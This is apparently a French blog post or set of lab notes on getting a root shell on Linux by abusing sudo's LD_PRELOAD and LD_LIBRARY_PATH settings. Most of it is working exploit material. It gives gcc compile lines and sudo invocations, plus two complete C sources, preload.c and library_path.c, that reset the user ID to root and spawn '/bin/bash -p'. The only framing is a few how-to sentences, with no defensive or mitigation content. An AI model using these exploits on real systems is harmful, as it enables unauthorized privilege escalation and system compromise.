Obtenir un shell root en modifiant les variables d’environnement sudo

On peut injecter du code lors de l’exécution d’une commande avec sudo en modifiant les variables d’environnement LD_PRELOAD ou LD_LIBRARY_PATH

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

On peut obtenir un root shell en exécutant un programme que l’on peut exécuter avec sudo de cette façon

sudo LD_PRELOAD=/tmp/preload.so program-name-here

preload.c

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

 

void _init() {

              unsetenv("LD_PRELOAD");

              setresuid(0,0,0);

              system("/bin/bash -p");

}

Une deuxième façon d’obtenir un root shell

ldd /usr/sbin/apache2 (apache2 utilise libcrypt.so)

gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c

sudo LD_LIBRARY_PATH=/tmp apache2

library_path.c

#include <stdio.h>

#include <stdlib.h>

 

static void hijack() __attribute__((constructor));

 

void hijack() {

              unsetenv("LD_LIBRARY_PATH");

              setresuid(0,0,0);

              system("/bin/bash -p");

}

Leave a Reply